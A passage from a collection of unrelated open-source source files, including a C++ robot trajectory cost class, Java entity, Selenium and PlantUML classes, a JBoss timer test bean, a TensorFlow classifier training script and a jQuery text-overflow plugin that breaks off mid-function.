}
double TimeVaryingTaskSpace3DCost::computeTerminalCost(
Robot& robot, CostFunctionData& data, const double t,
const SplitSolution& s) const {
if (ref_->isActive(t)) {
double l = 0;
ref_->update_q_3d_ref(t, data.q_3d_ref);
data.diff_3d = robot.framePosition(frame_id_) - data.q_3d_ref;
l += (qf_3d_weight_.array()*data.diff_3d.array()*data.diff_3d.array()).sum();
return 0.5 * l;
}
else {
return 0;
}
}
void TimeVaryingTaskSpace3DCost::computeTerminalCostDerivatives(
Robot& robot, CostFunctionData& data, const double t,
const SplitSolution& s, SplitKKTResidual& kkt_residual) const {
if (ref_->isActive(t)) {
data.J_6d.setZero();
robot.getFrameJacobian(frame_id_, data.J_6d);
data.J_3d.noalias()
= robot.frameRotation(frame_id_) * data.J_6d.template topRows<3>();
kkt_residual.lq().noalias()
+= data.J_3d.transpose() * qf_3d_weight_.asDiagonal() * data.diff_3d;
}
}
void TimeVaryingTaskSpace3DCost::computeTerminalCostHessian(
Robot& robot, CostFunctionData& data, const double t,
const SplitSolution& s, SplitKKTMatrix& kkt_matrix) const {
if (ref_->isActive(t)) {
kkt_matrix.Qqq().noalias()
+= data.J_3d.transpose() * qf_3d_weight_.asDiagonal() * data.J_3d;
}
}
double TimeVaryingTaskSpace3DCost::computeImpulseCost(
Robot& robot, CostFunctionData& data, const double t,
const ImpulseSplitSolution& s) const {
if (ref_->isActive(t)) {
double l = 0;
ref_->update_q_3d_ref(t, data.q_3d_ref);
data.diff_3d = robot.framePosition(frame_id_) - data.q_3d_ref;
l += (qi_3d_weight_.array()*data.diff_3d.array()*data.diff_3d.array()).sum();
return 0.5 * l;
}
else {
return 0;
}
}
void TimeVaryingTaskSpace3DCost::computeImpulseCostDerivatives(
Robot& robot, CostFunctionData& data, const double t,
const ImpulseSplitSolution& s,
ImpulseSplitKKTResidual& kkt_residual) const {
if (ref_->isActive(t)) {
data.J_6d.setZero();
robot.getFrameJacobian(frame_id_, data.J_6d);
data.J_3d.noalias()
= robot.frameRotation(frame_id_) * data.J_6d.template topRows<3>();
kkt_residual.lq().noalias()
+= data.J_3d.transpose() * qi_3d_weight_.asDiagonal() * data.diff_3d;
}
}
void TimeVaryingTaskSpace3DCost::computeImpulseCostHessian(
Robot& robot, CostFunctionData& data, const double t,
const ImpulseSplitSolution& s, ImpulseSplitKKTMatrix& kkt_matrix) const {
if (ref_->isActive(t)) {
kkt_matrix.Qqq().noalias()
+= data.J_3d.transpose() * qi_3d_weight_.asDiagonal() * data.J_3d;
}
}
} // namespace idocp |
caz1502/Long_Nail | client/src/pages/Home.js | <filename>client/src/pages/Home.js
import React from "react";
import "./home.css";
import { Container } from "react-bootstrap";
import Services from "./Services";
const Home = () => {
return (
<div>
<div className="jumbotron">
<Container>
<span className="welcome">Long or Short Nails</span>
</Container>
</div>
<div className="align-content-center justify-space-around ">
<h6 style={{ textAlign: "center" }}>Our Services</h6>
<Services />
</div>
</div>
);
};
export default Home;
|
sagaraivale/insights-core | sample_script.py | #!/usr/bin/env python
from insights.core.plugins import make_response, rule
from insights.parsers.redhat_release import RedhatRelease
@rule(RedhatRelease)
def report(rel):
"""Fires if the machine is running Fedora."""
if "Fedora" in rel.product:
return make_response("IS_FEDORA")
else:
return make_response("IS_NOT_FEDORA")
if __name__ == "__main__":
from insights import run
run(report, print_summary=True)
|
zhangjikai/algorithm | jianzhioffer/src/main/java/ReplaceSpace.java | <reponame>zhangjikai/algorithm
/**
* Created by <NAME> on 2017/5/21.
*/
public class ReplaceSpace {
public String replaceSpace(StringBuffer str) {
if(str == null || str.length() == 0) {
return "";
}
StringBuilder builder = new StringBuilder();
char space = ' ';
char tmp;
for(int i = 0; i < str.length(); i++) {
tmp = str.charAt(i);
if(tmp == space) {
builder.append("%20");
} else {
builder.append(tmp);
}
}
return builder.toString();
}
}
|
zcf9916/udax_wallet | ace-common/src/main/java/com/github/wxiaoqi/security/common/entity/casino/CasinoRebateConfig.java | package com.github.wxiaoqi.security.common.entity.casino;
import com.github.wxiaoqi.security.common.base.BaseEntity;
import lombok.Data;
import org.springframework.beans.factory.annotation.Autowired;
import java.math.BigDecimal;
import java.util.Date;
import javax.persistence.*;
@Data
@Table(name = "casino_rebate_config")
public class CasinoRebateConfig extends BaseEntity {
public enum CasinoRebateConfigType {
/** 直推用户 */
Direct_push_user(1),
/** 间接推荐人 */
INDIRECT_RECOMMENDER(2),
/** 白标分成 */
WHITE_LABEL_DIVISION(3);
private final Integer value;
private CasinoRebateConfigType(Integer value) {
this.value = value;
}
public Integer value() {
return this.value;
}
public String toString() {
return this.value.toString();
}
}
/**
* 分成比例
*/
@Column(name = "cms_rate")
private BigDecimal cmsRate;
/**
* 类型 1:直推用户 2:间接推荐人 3:白标分成
*/
private Integer type;
/**
* 白标ID
*/
@Column(name = "exch_id")
private Long exchId;
/**
* 级别描述
*/
private String remark;
/**
* 0 禁用 1正常
*/
private Integer enable;
/**
* 创建时间
*/
@Column(name = "create_time")
private Date createTime;
@Transient
private String exchName;
} |
davidgonzalezbarbe/Selenium | java/client/src/org/openqa/selenium/interactions/internal/MouseAction.java | // Licensed to the Software Freedom Conservancy (SFC) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The SFC licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
package org.openqa.selenium.interactions.internal;
import org.openqa.selenium.interactions.Mouse;
import org.openqa.selenium.internal.Locatable;
/**
* Base class for all mouse-related actions.
*/
public class MouseAction extends BaseAction {
public enum Button {
LEFT(0),
MIDDLE(1),
RIGHT(2);
private final int b;
Button(int b) {
this.b = b;
}
}
protected final Mouse mouse;
protected MouseAction(Mouse mouse, Locatable locationProvider) {
super(locationProvider);
this.mouse = mouse;
}
protected Coordinates getActionLocation() {
if (where == null) {
return null;
}
return where.getCoordinates();
}
protected void moveToLocation() {
// Only call mouseMove if an actual location was provided. If not,
// the action will happen in the last known location of the mouse
// cursor.
if (getActionLocation() != null) {
mouse.mouseMove(getActionLocation());
}
}
}
|
plantuml/plantuml-mit | src/net/sourceforge/plantuml/style/Style.java | <filename>src/net/sourceforge/plantuml/style/Style.java
/* ========================================================================
* PlantUML : a free UML diagram generator
* ========================================================================
*
* (C) Copyright 2009-2020, <NAME>
*
* Project Info: https://plantuml.com
*
* If you like this project or if you find it useful, you can support us at:
*
* https://plantuml.com/patreon (only 1$ per month!)
* https://plantuml.com/paypal
*
* This file is part of PlantUML.
*
* Licensed under The MIT License (Massachusetts Institute of Technology License)
*
* See http://opensource.org/licenses/MIT
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR
* IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*
* Original Author: <NAME>
*/
package net.sourceforge.plantuml.style;
import java.util.EnumMap;
import java.util.Map;
import java.util.Map.Entry;
import java.util.StringTokenizer;
import net.sourceforge.plantuml.ISkinSimple;
import net.sourceforge.plantuml.LineBreakStrategy;
import net.sourceforge.plantuml.cucadiagram.Display;
import net.sourceforge.plantuml.graphic.FontConfiguration;
import net.sourceforge.plantuml.graphic.HorizontalAlignment;
import net.sourceforge.plantuml.graphic.SymbolContext;
import net.sourceforge.plantuml.graphic.TextBlock;
import net.sourceforge.plantuml.graphic.TextBlockUtils;
import net.sourceforge.plantuml.graphic.color.ColorType;
import net.sourceforge.plantuml.graphic.color.Colors;
import net.sourceforge.plantuml.ugraphic.UFont;
import net.sourceforge.plantuml.ugraphic.UGraphic;
import net.sourceforge.plantuml.ugraphic.UStroke;
import net.sourceforge.plantuml.ugraphic.color.HColor;
import net.sourceforge.plantuml.ugraphic.color.HColorNone;
import net.sourceforge.plantuml.ugraphic.color.HColorSet;
public class Style {
private final Map<PName, Value> map;
private final StyleSignature signature;
public Style(StyleSignature signature, Map<PName, Value> map) {
this.map = map;
this.signature = signature;
}
@Override
public String toString() {
return signature + " " + map;
}
public Value value(PName name) {
final Value result = map.get(name);
if (result == null) {
return ValueNull.NULL;
}
return result;
}
public Style mergeWith(Style other) {
if (other == null) {
return this;
}
final EnumMap<PName, Value> both = new EnumMap<PName, Value>(this.map);
for (Entry<PName, Value> ent : other.map.entrySet()) {
final Value previous = this.map.get(ent.getKey());
if (previous == null || ent.getValue().getPriority() > previous.getPriority()) {
both.put(ent.getKey(), ent.getValue());
}
}
return new Style(this.signature.mergeWith(other.getSignature()), both);
// if (this.name.equals(other.name)) {
// return new Style(this.kind.add(other.kind), this.name, both);
// }
// return new Style(this.kind.add(other.kind), this.name + "," + other.name,
// both);
}
public Style eventuallyOverride(PName param, HColor color) {
if (color == null) {
return this;
}
final EnumMap<PName, Value> result = new EnumMap<PName, Value>(this.map);
final Value old = result.get(param);
result.put(param, new ValueColor(color, old.getPriority()));
// return new Style(kind, name + "-" + color, result);
return new Style(this.signature, result);
}
public Style eventuallyOverride(Colors colors) {
Style result = this;
if (colors != null) {
final HColor back = colors.getColor(ColorType.BACK);
if (back != null) {
result = result.eventuallyOverride(PName.BackGroundColor, back);
}
final HColor line = colors.getColor(ColorType.LINE);
if (line != null) {
result = result.eventuallyOverride(PName.LineColor, line);
}
}
return result;
}
public Style eventuallyOverride(SymbolContext symbolContext) {
Style result = this;
if (symbolContext != null) {
final HColor back = symbolContext.getBackColor();
if (back != null) {
result = result.eventuallyOverride(PName.BackGroundColor, back);
}
}
return result;
}
public StyleSignature getSignature() {
return signature;
}
public UFont getUFont() {
final String family = value(PName.FontName).asString();
final int fontStyle = value(PName.FontStyle).asFontStyle();
final int size = value(PName.FontSize).asInt();
return new UFont(family, fontStyle, size);
}
public FontConfiguration getFontConfiguration(HColorSet set) {
final UFont font = getUFont();
final HColor color = value(PName.FontColor).asColor(set);
final HColor hyperlinkColor = value(PName.HyperLinkColor).asColor(set);
return new FontConfiguration(font, color, hyperlinkColor, true);
}
public SymbolContext getSymbolContext(HColorSet set) {
final HColor backColor = value(PName.BackGroundColor).asColor(set);
final HColor foreColor = value(PName.LineColor).asColor(set);
final double deltaShadowing = value(PName.Shadowing).asDouble();
return new SymbolContext(backColor, foreColor).withStroke(getStroke()).withDeltaShadow(deltaShadowing);
}
public UStroke getStroke() {
final double thickness = value(PName.LineThickness).asDouble();
final String dash = value(PName.LineStyle).asString();
if (dash.length() == 0) {
return new UStroke(thickness);
}
try {
final StringTokenizer st = new StringTokenizer(dash, "-;,");
final double dashVisible = Double.parseDouble(st.nextToken().trim());
double dashSpace = dashVisible;
if (st.hasMoreTokens()) {
dashSpace = Double.parseDouble(st.nextToken().trim());
}
return new UStroke(dashVisible, dashSpace, thickness);
} catch (Exception e) {
return new UStroke(thickness);
}
}
public LineBreakStrategy wrapWidth() {
final String value = value(PName.MaximumWidth).asString();
return new LineBreakStrategy(value);
}
public ClockwiseTopRightBottomLeft getPadding() {
final String padding = value(PName.Padding).asString();
return ClockwiseTopRightBottomLeft.read(padding);
}
public ClockwiseTopRightBottomLeft getMargin() {
final String margin = value(PName.Margin).asString();
return ClockwiseTopRightBottomLeft.read(margin);
}
public HorizontalAlignment getHorizontalAlignment() {
return value(PName.HorizontalAlignment).asHorizontalAlignment();
}
private TextBlock createTextBlockInternal(Display display, HColorSet set, ISkinSimple spriteContainer,
HorizontalAlignment alignment) {
final FontConfiguration fc = getFontConfiguration(set);
return display.create(fc, alignment, spriteContainer);
}
public TextBlock createTextBlockBordered(Display note, HColorSet set, ISkinSimple spriteContainer) {
// final HorizontalAlignment alignment = HorizontalAlignment.LEFT;
final HorizontalAlignment alignment = this.getHorizontalAlignment();
final TextBlock textBlock = this.createTextBlockInternal(note, set, spriteContainer, alignment);
final HColor legendBackgroundColor = this.value(PName.BackGroundColor).asColor(set);
final HColor legendColor = this.value(PName.LineColor).asColor(set);
final UStroke stroke = this.getStroke();
final int cornersize = this.value(PName.RoundCorner).asInt();
final ClockwiseTopRightBottomLeft margin = this.getMargin();
final ClockwiseTopRightBottomLeft padding = this.getPadding();
final TextBlock result = TextBlockUtils.bordered(textBlock, stroke, legendColor, legendBackgroundColor,
cornersize, padding);
return TextBlockUtils.withMargin(result, margin);
}
public UGraphic applyStrokeAndLineColor(UGraphic ug, HColorSet colorSet) {
final HColor color = value(PName.LineColor).asColor(colorSet);
if (color == null) {
ug = ug.apply(new HColorNone());
} else {
ug = ug.apply(color);
}
ug = ug.apply(getStroke());
return ug;
}
}
|
torihedden/merchant-center-application-kit | packages/application-shell/src/utils/select-team-id-from-local-storage/select-team-id-from-local-storage.js | import { STORAGE_KEYS } from '../../constants';
// Attempt to load the `teamId` from localStorage
export default function selectTeamIdFromLocalStorage() {
return window.localStorage.getItem(STORAGE_KEYS.ACTIVE_TEAM_ID);
}
|
cquoss/jboss-4.2.3.GA-jdk8 | testsuite/src/main/org/jboss/test/timer/ejb/TimerMessageBean.java | <gh_stars>0
/*
* JBoss, Home of Professional Open Source.
* Copyright 2006, Red Hat Middleware LLC, and individual contributors
* as indicated by the @author tags. See the copyright.txt file in the
* distribution for a full listing of individual contributors.
*
* This is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this software; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA, or see the FSF site: http://www.fsf.org.
*/
package org.jboss.test.timer.ejb;
import java.io.Serializable;
import javax.ejb.EJBException;
import javax.ejb.MessageDrivenBean;
import javax.ejb.MessageDrivenContext;
import javax.ejb.TimedObject;
import javax.ejb.Timer;
import javax.ejb.TimerService;
import javax.jms.DeliveryMode;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageListener;
import javax.jms.Queue;
import javax.jms.QueueConnection;
import javax.jms.QueueConnectionFactory;
import javax.jms.QueueSender;
import javax.jms.QueueSession;
import javax.jms.Session;
import javax.jms.TextMessage;
import javax.naming.InitialContext;
import org.jboss.logging.Logger;
/** An MDB that schedules an ejb timer for every onMessage receipt. The timer
* is a single event timer that expires after 10 seconds.
*
* @ejb.bean name="TimerMDB"
* description="TimerMDB unit test bean"
* destination-type="javax.jms.Queue"
* acknowledge-mode="Auto-acknowledge"
* @ejb.resource-ref res-ref-name="jms/QCF" res-type="javax.jms.QueueConnectionFactory" res-auth="Container"
* @jboss.destination-jndi-name name="queue/A"
* @jboss.resource-ref res-ref-name="jms/QCF" jndi-name="ConnectionFactory"
*
* @author <EMAIL>
* @version $Revision: 57211 $
*/
public class TimerMessageBean implements MessageDrivenBean, MessageListener, TimedObject
{
private static Logger log = Logger.getLogger(TimerMessageBean.class);
private MessageDrivenContext messageContext = null;
private QueueConnection qc = null;
private InitialContext ctx = null;
private long timerTimeout = 10000;
static class ReplyInfo implements Serializable
{
static final long serialVersionUID = 4607021612356305822L;
private int msgID;
private Queue replyTo;
ReplyInfo(int msgID, Queue replyTo)
{
this.msgID = msgID;
this.replyTo = replyTo;
}
}
public void setMessageDrivenContext(MessageDrivenContext ctx)
throws EJBException
{
messageContext = ctx;
}
public void ejbCreate()
{
try
{
ctx = new InitialContext();
QueueConnectionFactory qcf = (QueueConnectionFactory) ctx.lookup("java:comp/env/jms/QCF");
qc = qcf.createQueueConnection();
}
catch (Exception e)
{
throw new EJBException("ejbCreate failed", e);
}
}
public void ejbTimeout(Timer timer)
{
log.info("ejbTimeout(), timer: " + timer);
ReplyInfo info = (ReplyInfo) timer.getInfo();
try
{
sendReply("ejbTimeout", info.msgID, info.replyTo);
}
catch(Exception e)
{
log.error("Failed to send timer msg", e);
}
}
public void ejbRemove() throws EJBException
{
try
{
qc.close();
log.info("QueueConnection is closed.");
}
catch (JMSException e)
{
log.error("Failed to close connection", e);
}
}
public void onMessage(Message message)
{
try
{
TextMessage msg = (TextMessage) message;
log.info("onMessage() called, msg="+msg);
int msgID = msg.getIntProperty("UNIQUE_ID");
Queue replyTo = (Queue) message.getJMSReplyTo();
initTimer(msgID, replyTo);
sendReply("onMessage", msgID, replyTo);
}
catch (Exception e)
{
log.error("onMessage failure", e);
}
}
public void initTimer(int msgID, Queue replyTo)
{
try
{
TimerService ts = messageContext.getTimerService();
ReplyInfo info = new ReplyInfo(msgID, replyTo);
Timer timer = ts.createTimer(timerTimeout, info);
log.info("Timer created with a timeout: " + timerTimeout
+ " and with info: " + msgID
+ ", handle: "+timer.getHandle());
}
catch (Exception e)
{
log.info("Failed to init timer", e);
}
return;
}
private void sendReply(String msg, int msgID, Queue dest)
throws JMSException
{
QueueSession qs = null;
try
{
qs = qc.createQueueSession(false, Session.AUTO_ACKNOWLEDGE);
QueueSender sender = qs.createSender(dest);
TextMessage reply = qs.createTextMessage();
reply.setText(msg + " : " + msgID);
reply.setIntProperty("UNIQUE_ID", msgID);
sender.send(reply, DeliveryMode.NON_PERSISTENT, Message.DEFAULT_PRIORITY, 180000);
log.info("Message sent");
}
finally
{
try
{
qs.close();
log.info("JBossMQ QueueSession Closed");
}
catch (JMSException e)
{
log.error("Failed to close queue session", e);
}
}
}
}
|
yifan-you-37/omnihang | src/lin_my/s3_classifier_train.py | import tensorflow as tf
import tensorflow.contrib.slim as slim
import numpy as np
import sys
import random
from classifier_dataset_new import MyDataset
import os
import time
import argparse
import matplotlib.pyplot as plt
from torch.utils.data import DataLoader
import torch
from tensorboardX import SummaryWriter
import datetime
random.seed(2)
torch.manual_seed(2)
np.random.seed(4)
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
UTILS_DIR = os.path.abspath(os.path.join(BASE_DIR, '..', 'utils'))
sys.path.append(UTILS_DIR)
from data_helper import *
from coord_helper import *
from train_helper import *
from rotation_lib import *
from bullet_helper import *
import s3_classifier_model as my_model
def train(args, train_loader, test_loader, writer, result_folder, file_name):
model_folder = os.path.join(result_folder, 'models')
can_write = not (writer is None)
pc_combined_pl, gt_succ_label_pl = my_model.placeholder_inputs(args.batch_size, 4096, with_normal=False, args=args)
pred_succ_cla_score_tf, end_points = my_model.get_model(pc_combined_pl)
pred_succ_cla_tf = tf.math.argmax(pred_succ_cla_score_tf, axis=-1)
loss_succ_cla_tf = my_model.get_loss(pred_succ_cla_score_tf, gt_succ_label_pl, end_points)
train_op = tf.train.AdamOptimizer(learning_rate=args.learning_rate).minimize(loss_succ_cla_tf)
init_op = tf.group(tf.global_variables_initializer(),
tf.local_variables_initializer())
config = tf.ConfigProto()
config.gpu_options.allow_growth = True
sess = tf.Session(config=config)
sess.run(init_op)
saver = tf.train.Saver(max_to_keep=1000)
loss_tracker = LossTracker()
loss_tracker_test = LossTracker()
epoch_init = 0
if not train_loader is None:
epoch_iter = len(train_loader)
if args.restore_model_epoch != -1:
epoch_init = args.restore_model_epoch
restore_model_folder = os.path.abspath(os.path.join(result_folder, '..', args.restore_model_name, 'models'))
restore_model_generic(epoch_init, restore_model_folder, saver, sess)
total_ct = 0
# p_env = p_Env(args.home_dir_data, gui=False, physics=False)
for epoch_i in range(args.max_epochs):
loss_tracker.reset()
for i, batch_dict in enumerate(train_loader):
if not args.run_test:
total_ct += 1
log_it = ((total_ct % args.log_freq ) == 0) and can_write
data_pc_combined = batch_dict['input3']
gt_succ_label = batch_dict['label']
pc_combined = data_pc_combined[:, :, [0, 1, 2, -1]]
gt_normal = data_pc_combined[:, :, 3:6]
feed_dict = {
pc_combined_pl: pc_combined,
gt_succ_label_pl: gt_succ_label
}
pred_succ_cla, pred_succ_cla_score, loss_succ_cla_val, _ = sess.run([
pred_succ_cla_tf, pred_succ_cla_score_tf, loss_succ_cla_tf, train_op
], feed_dict=feed_dict)
acc_dict = get_acc(gt_succ_label, pred_succ_cla)
loss_dict = {
'loss_succ_cla': loss_succ_cla_val,
'acc_succ_cla': acc_dict['acc'],
'acc_succ_cla_pos': acc_dict['acc_cla_pos'],
'acc_succ_cla_neg': acc_dict['acc_cla_neg'],
'acc_succ_precision': acc_dict['precision'],
'acc_succ_recall': acc_dict['recall'],
}
loss_tracker.add_dict(loss_dict)
if log_it:
write_tb(loss_dict, writer, 'train', total_ct)
print('epoch {} iter {}/{} {}'.format(epoch_i, i, epoch_iter, loss_dict_to_str(loss_dict)))
if (total_ct % args.model_save_freq == 0) and not args.no_save:
save_model_generic(epoch_init + total_ct, model_folder, saver, sess)
if (i == len(train_loader) - 1) or (i > 0 and i % 3000 == 0) or args.run_test:
if (not args.no_eval) and (((epoch_i + 1) % args.eval_epoch_freq == 0) or args.run_test):
eval_folder_dir = os.path.join(result_folder, 'eval')
mkdir_if_not(eval_folder_dir)
total_ct_test = 0
loss_tracker_test.reset()
for i, batch_dict in enumerate(test_loader):
data_pc_combined = batch_dict['input3']
gt_succ_label = batch_dict['label']
pc_combined = data_pc_combined[:, :, [0, 1, 2, -1]]
gt_normal = data_pc_combined[:, :, 3:6]
b_size = pc_combined.shape[0]
feed_dict = {
pc_combined_pl: pc_combined,
gt_succ_label_pl: gt_succ_label
}
pred_succ_cla, pred_succ_cla_score, loss_succ_cla_val = sess.run([
pred_succ_cla_tf, pred_succ_cla_score_tf, loss_succ_cla_tf
], feed_dict=feed_dict)
acc_dict = get_acc(gt_succ_label, pred_succ_cla)
loss_dict = {
'loss_succ_cla': loss_succ_cla_val,
'acc_succ_cla': acc_dict['acc'],
'acc_succ_cla_pos': acc_dict['acc_cla_pos'],
'acc_succ_cla_neg': acc_dict['acc_cla_neg'],
'acc_succ_precision': acc_dict['precision'],
'acc_succ_recall': acc_dict['recall'],
}
loss_tracker_test.add_dict(loss_dict)
print('epoch {} iter {}/{} {}'.format(epoch_i, i, epoch_iter, loss_dict_to_str(loss_dict)))
if i == 0:
out_dir = os.path.join(eval_folder_dir, '{}_eval_epoch_{}_ct_{}.json'.format(file_name, str(epoch_i + 1), total_ct))
eval_result_dict = {}
for jj in range(b_size):
one_result_file_name = batch_dict['result_file_name'][jj]
out_dict = {
'pc_combined': pc_combined[jj].tolist(),
'gt_normal': gt_normal[jj].tolist(),
'pred_succ_cla': int(pred_succ_cla[jj]),
'gt_succ_label': int(gt_succ_label[jj]),
'pred_succ_cla_score': (pred_succ_cla_score[jj]).tolist(),
}
eval_result_dict[one_result_file_name] = out_dict
save_json(out_dir, eval_result_dict)
if i > 1000:
break
loss_dict_test_epoch = loss_tracker_test.stat()
print('epoch {} test {}'.format(epoch_i, loss_dict_to_str(loss_dict_test_epoch)))
if can_write:
write_tb(loss_dict_test_epoch, writer, 'test_epoch', total_ct)
if args.run_test:
break
loss_dict_epoch = loss_tracker.stat()
if can_write:
write_tb(loss_dict_epoch, writer, 'train_epoch', total_ct)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("--home_dir_data", default="../data")
parser.add_argument('--pointset_dir', default='/scr2/')
parser.add_argument('--bohg4', action='store_true')
parser.add_argument('--no_vis', action='store_true')
parser.add_argument('--model_name', default='s3_classifier_model')
parser.add_argument('--comment', default='')
parser.add_argument('--exp_name', default='exp_s3')
parser.add_argument('--debug', action='store_true')
parser.add_argument('--log_freq', type=int, default=10)
parser.add_argument('--train_list', default='train_list')
parser.add_argument('--test_list', default='test_list')
parser.add_argument('--restrict_object_cat', default='')
parser.add_argument('--run_test', action='store_true')
parser.add_argument('--no_save', action='store_true')
parser.add_argument('--overfit', action='store_true')
parser.add_argument('--restore_model_name', default='')
parser.add_argument('--restore_model_epoch', type=int, default=-1)
parser.add_argument('--max_epochs', type=int, default=10000)
parser.add_argument('--eval_epoch_freq', type=int, default=1)
parser.add_argument('--model_save_freq', type=int, default=3000)
parser.add_argument('--no_eval', action='store_true')
parser.add_argument('--full_pc', action='store_true')
parser.add_argument('--batch_size', type=int, default=32)
parser.add_argument('--learning_rate', type=float, default=1e-4)
args = parser.parse_args()
if args.bohg4:
args.pointset_dir = '/scr1/yifan'
args.no_vis = True
args.home_dir_data = '/scr1/yifan/hang'
file_name = "{}".format(args.model_name)
file_name += '_{}'.format(args.restrict_object_cat) if args.restrict_object_cat != '' else ''
file_name += "_{}".format(args.comment) if args.comment != "" else ""
file_name += '_overfit' if args.overfit else ''
folder_name = datetime.datetime.now().strftime('%b%d_%H-%M-%S_') + file_name
if args.run_test:
folder_name += '_test'
result_folder = 'runs/{}'.format(folder_name)
if args.exp_name is not "":
result_folder = 'runs/{}/{}'.format(args.exp_name, folder_name)
if args.debug:
result_folder = 'runs/debug/{}'.format(folder_name)
model_folder = os.path.join(result_folder, 'models')
if not os.path.exists(model_folder):
os.makedirs(result_folder)
print("---------------------------------------")
print("Model Name: {}, Train List: {}, Test List: {}".format(args.model_name, args.train_list, args.test_list))
print("---------------------------------------")
if args.run_test:
print("Restore Model: {}".format(args.restore_model_name))
print("---------------------------------------")
writer = None
if not args.run_test:
writer = SummaryWriter(log_dir=result_folder, comment=file_name)
#record all parameters value
with open("{}/parameters.txt".format(result_folder), 'w') as file:
for key in sorted(vars(args).keys()):
value = vars(args)[key]
file.write("{} = {}\n".format(key, value))
cp_result_folder_dir = os.path.join(args.home_dir_data, 'dataset_cp')
train_list_dir = os.path.join(cp_result_folder_dir, 'labels', '{}.txt'.format(args.train_list))
test_list_dir = os.path.join(cp_result_folder_dir, 'labels', '{}.txt'.format(args.test_list))
print('TRAIN_LIST:', args.train_list, train_list_dir)
print('TEST_LIST:', args.test_list, test_list_dir)
# if args.overfit:
# args.no_eval = True
# args.no_save = True
if args.run_test:
args.max_epochs = 1
if args.restore_model_name != '':
assert args.restore_model_epoch != -1
if args.restore_model_epoch != -1:
assert args.restore_model_name != ''
train_loader = None
if not args.run_test:
train_set = MyDataset(args.home_dir_data, train_list_dir, is_train=True, use_partial_pc=False if args.full_pc else True, args=args)
train_set.build_sampler()
train_loader = DataLoader(train_set, batch_size=args.batch_size, sampler=train_set.sampler,
num_workers=6, collate_fn=MyDataset.pad_collate_fn_for_dict)
test_set = MyDataset(args.home_dir_data, test_list_dir, is_train=False, use_partial_pc=False if args.full_pc else True, args=args)
test_loader = DataLoader(train_set if args.overfit else test_set, batch_size=args.batch_size, shuffle=True,
num_workers=6, collate_fn=MyDataset.pad_collate_fn_for_dict)
if not args.run_test:
print('len of train {} len of test {}'.format(len(train_set), len(test_set)))
else:
print('len of train {} len of test {}'.format(len(test_set), len(test_set)))
if not args.run_test:
train(args, train_loader, test_loader, writer, result_folder, file_name)
else:
train(args, test_loader, test_loader, writer, result_folder, file_name)
|
davin-bao/djra | jira-6.3.6/atlassian-jira/includes/jquery/plugins/textoverflow/textOverflow.js | /**
* @preserve jQuery Text Overflow v0.7.4
*
* Licensed under the new BSD License.
* Copyright 2009-2011, <NAME>
* All rights reserved.
*/
/*global jQuery, document, setInterval*/
(function ($) {
var style = document.documentElement.style,
hasTextOverflow = ('textOverflow' in style || 'OTextOverflow' in style),
rtrim = function (str) {
return str.replace(/\s+$/g, '');
},
domSplit = function (root, maxIndex, options) {
var index = 0, result = [],
domSplitAux = function (nodes) {
var i = 0, tmp, clipIndex = 0;
if (index > maxIndex) {
return;
}
for (i = 0; i < nodes.length; i += 1) {
if (nodes[i].nodeType === 1) {
tmp = nodes[i].cloneNode(false);
result[result.length - 1].appendChild(tmp);
result.push(tmp);
domSplitAux(nodes[i].childNodes);
result.pop();
} else if (nodes[i].nodeType === 3) {
if (index + nodes[i].length < maxIndex) {
result[result.length - 1].appendChild(nodes[i].cloneNode(false));
} else {
tmp = nodes[i].cloneNode(false);
clipIndex = maxIndex - index;
if (options.wholeWord) {
clipIndex = Math.min(maxIndex - index, tmp.textContent.substring(0, maxIndex - index).lastIndexOf(' '));
}
tmp.textContent = options.trim ? rtrim(tmp.textContent.substring(0, clipIndex)) : tmp.textContent.substring(0, clipIndex);
result[result.length - 1].appendChild(tmp);
}
index += nodes[i].length;
} else {
result.appendChild(nodes[i].cloneNode(false));
}
}
};
result.push(root.cloneNode(false));
domSplitAux(root.childNodes);
return $(result.pop().childNodes);
};
$.extend($.fn, {
textOverflow: function (options) {
var o = $.extend({
str: '…',
autoUpdate: false,
trim: true,
title: false,
className: undefined,
wholeWord: false
}, options);
if (!hasTextOverflow) {
return this.each(function () {
var element = $(this),
// the clone element we modify to measure the width
clone = element.clone(),
// we save a copy so we can restore it if necessary
originalElement = element.clone(),
originalText = element.text(),
originalWidth = element.width(),
low = 0, mid = 0,
high = originalText.length,
reflow = function () {
if (originalWidth !== element.width()) {
element.replaceWith(originalElement);
element = originalElement;
originalElement = element.clone();
